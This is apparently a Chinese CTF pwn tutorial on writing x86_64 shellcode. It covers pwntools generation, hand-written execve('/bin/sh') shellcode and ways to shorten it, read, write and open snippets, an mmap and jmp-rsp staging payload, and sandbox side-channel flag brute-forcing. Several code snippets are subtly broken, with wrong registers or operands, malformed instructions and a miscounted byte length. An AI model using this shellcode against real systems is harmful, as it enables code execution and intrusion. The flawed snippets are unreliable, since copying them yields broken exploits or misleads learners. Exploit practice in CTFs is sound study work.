SHELLCODE
shellcode 说到底其实就是系统调用命令,跟ret2syscall是很相似的,但是区别就是,shellcode需要有可执行权限,而ret2syscall一般发生在text段上,自动就具备可执行权限
SHELLCODE分为手动生成和机器生产,
机器生成shellcode
其实在pwntools中就集成了shellcode的生成,比如:
shellcode = asm(shellcraft.sh()) #生成用于提权的shllcode但是一定要注意程序是x86_64的还是i386的,因为shellcraft默认生成32位的
当然还有其他的shellcode
shhellcode = asm(shellcraft.cat(f*)) #生成用于打印所有f开头的文件手写shellcode
这个才是核心,众所周知,机器生产的shellcode唯一的优势是方便,不用手搓,但是也仅此而已,
所以这里介绍一些写shellcode常用的基本的汇编指令(以x86_64汇编为例)
- pop 寄存器名 —>将栈中的下一个4/8字节数的地址弹入对应寄存器中
- push 数字或寄存器 —>将对应数字、寄存器中的值压入栈中
- mov 寄存器a, (数字或寄存器) —> 将对应数字或寄存器中的值赋值给寄存器a
- xor 寄存器a, (数字或寄存器) —> 将对应数字或寄存器中的值与寄存器a中的值进行异或并将结果存在寄存器a中
- add 寄存器a, (数字或寄存器) —> 将对应数字或寄存器中的值与寄存器a中的值进行相加并将结果存在寄存器a中
- sub 寄存器a, (数字或寄存器) —> 将对应数字或寄存器中的值与寄存器a中的值进行相减并将结果存在寄存器a中
- syscall —>x64系统调用命令(机器码为’\x0f\x05’)
- int 0x80 —>x86系统调用命令
- ret —>相当于pop eip
接下来就是寄存器的讲解了,我们写shellcode的指令和系统调用都依赖于寄存器中的值
-
直接参与系统调用的寄存器:
RAX、RDI、RSI、RDX、R10、R8、R9
其中rax是作为syscall调用时的系统调用号,调整rax的值以调用不同的系统函数
剩下6个寄存器按顺序作为系统调用函数的第n个参数
-
间接参与系统调用的寄存器
RSP、RBP、RIP
RSP和RBP作为栈顶栈底指针寄存器在pop和push指令的调用上起着重要作用
RIP则是指令指针寄存器通过其进行指令运行
-
基本不参与系统调用的寄存器
RBX、R11、R12、R13、R14、R15
他们的作用大概仅限于传值
附上linux系统调用号------https://blog.csdn.net/weixin_51055545/article/details/128722431那么首先让我们写一个用于调用execve(“/bin/sh\x00”,0,0)的shellcode
那么我们需要什么呢? 一个函数,三个参数,所以只需要把对应的值传入就行了,二参和三参很好弄,只需要使用mov指令就行
/bin/sh字符串地址怎么办呢?这时我们就要用到push和rsp的关系了
因为push会将一个值直接压入栈顶,那么执行push后rsp的值就是我们push的这个值的地址
那么我们只要把/bin/sh\x00转换成16进制ascall码push后再把rsp的值赋值给rdi(第一参数)即可
但是push接立即数的话只能push四个字节,所以我们要先把值存到寄存器中再push
不过根据小端序的原理,每个字母需要倒过来,故而
/bin/sh\x00 ----- 0x0068732f6e69622f那么就可以下面这样
shellcode = ''' mov rbx , 0x0068732f6e69622f; mov rdi , esp ; mov rsi,0; mov rdx,0; mov rax,59; syscall;'''# 然后asm编码一下就行了,shellcode = asm(shellcode)精简
这样生成的shellcode的大小有0x25个字节,但是如果限制了shellcode的长度就没办法使用了
因此我们需要对shellcode的长度进行简化,
而,精简化的方法其实就是将字节长度小的指令,可以混合使用,来替换长度大的
比如: 使用push pop连用来替换mov : 例:mov rbx , 0x0068732f6e69622f; 替换成:push 0x0068732f6e69622f;pop rbx还可以使用 xor(异或)相同的寄存器来将寄存器置零, 例:mov rsi,0; 替换成:xor rbx,rbx;依照这个原理,可以修改shellcode为:
shellcode = asm(''' mov rbx, 0x0068732f6e69622f push rbx push rsp pop rdi xor esi,esi xor edx,edx push 59 pop rax syscall''')长度仅仅0x16 也就是21个字节
一些小妙用
double read
这是我取的名字;就是一般的shellcode的题目会将读入的长度设置的非常短,往往不够,那么我们就可以使用shellcode再次进行一次read,从而可以执行execve(‘/bin/sh\x00’,0,0)
emmm,注意寄存器的值的变化,往往这个是会出现问题的😂
一些常用的shellcode
21字节getshell
xor esi, esimov rbx, 0x68732f6e69622fpush rbxpush rsppop rdiimul esimov al, 0x3bsyscallread(x64)
read = asm(""" xor rdi rdi; push buf_addr; pop rsi; push len; pop rdx len; push 0; pop rax; syscall;""")write(x64)
write = asm(""" push 1; pop rdi; push buf_addr; pop rsi; push len; pop rdx len; push 1; pop rax; syscall""")open(x64)
open = asm(""" mov rax, 0x67616c662f push rax mov rdi,rax; push 0; pop rsi; push 2; pop rax; syscall""")做题时候的一些注意
假设存在一个
mmap((void *)0x123000, 0x1000uLL, 6, 34, -1, 0LL);
read(0,buf,0x38);buf在rbp-0x20的位置,现在需要shellcode--->ORW去读取出flag,应该怎么做?我们可以往0x123000这个地址去读shellcode,并且把rsp迁到那里去,jmp_rsp;
所以在这里我们可以这样做
pay = asm(shellcraft.read(0,0x123000,0x100)) # 这里是为了方便将shellcode读入,其实换一个可写的段即可pay += asm("mov rax,0x123000;call rax") # 这里可以看出来是进行函数调用,把0x123000这个地址当成函数来调用pay = pay.ljust(0x28,b'a')pay += p64(jmp_rsp)+asm("sub rsp,0x30;jmp rsp") #注意这里是需要jmp_rsp的,要不然地址可能会别覆盖成(qword)asm("sub rsp,0x30;jmp rsp"),从而失效注:一些心得
其实shellcode给我的感觉就是给你一个能直接操作程序的机会,并且它的作用很灵活,它不仅能让攻击者getshell或者get flag还能辅助攻击者去getshell or flag, 接下来是我常用的一些汇编,会不断补充:
常用的汇编
mov byte ptr [xxx1], xxx2
向指定内存---->xxx1写入一个字节,内容为xxx2的数据,这部分可以用来分批次写shellcode,
>>> print(len(asm("mov byte ptr [rsp+1],0x1")))5>>> print(len(asm("mov byte ptr [rax+1],0x1")))4jnz,jz,jmp
这些可以用来帮助自己进行跳转,从而跳到某个函数或者shellcode
XCHG
允许我们交换两个操作数的值,可以交换两个寄存器,寄存器到内存,内存到寄存器的值,效果与mov几乎相同,
ROPgadget --binary libc.so.6 --only "xchg|ret" | grep "edx"
ING和DEC
用于操作数加一和减一,操作数可以是内存,也可以是寄存器,
CDQ
将rax寄存器的第31bit位填满rdx的所有bit位,可以达到将rdx清零的目的
侧信道攻击
不直接对程序进行攻击,而是根据其他信号的变化推测出flag,用于绕过沙箱,
需要几个条件,
1:侧信道爆破需要执行我们编写的shellcode(因为程序中必然无法找到全部对应的gadget),因此能够写入和执行一定字节的shellcode是必要的
2:程序在禁用了execve系统调用后,同时关闭了标准输出流后,才有必要使用侧信道爆破。
3:同时标准错误不能被关闭(stderr 因为我们需要它来反馈信息),还必须要保证read可以从指定文件中读取flag,open或者openat系统调用要保证至少有一个可用。
pwn题目开启沙箱后,我们通常可以采用open、read、write函数输出flag,
但是如果沙箱禁用了write函数,使我们只能利用open和read函数,这时候就要利用侧信道爆破了。
侧信道攻击在pwn中的主要思想就是通过逐位爆破获得flag,一般是判断猜测的字符和flag的每一位进行对比,如果相同就进入死循环,然后利用时间判断是否正确,循环超过一秒则表示当前爆破位爆破字符正确。通常侧信道攻击一般都是通过shellcode来实现的,并且比较的方法最好是使用‘二分法’这样的话节约时间并且效率高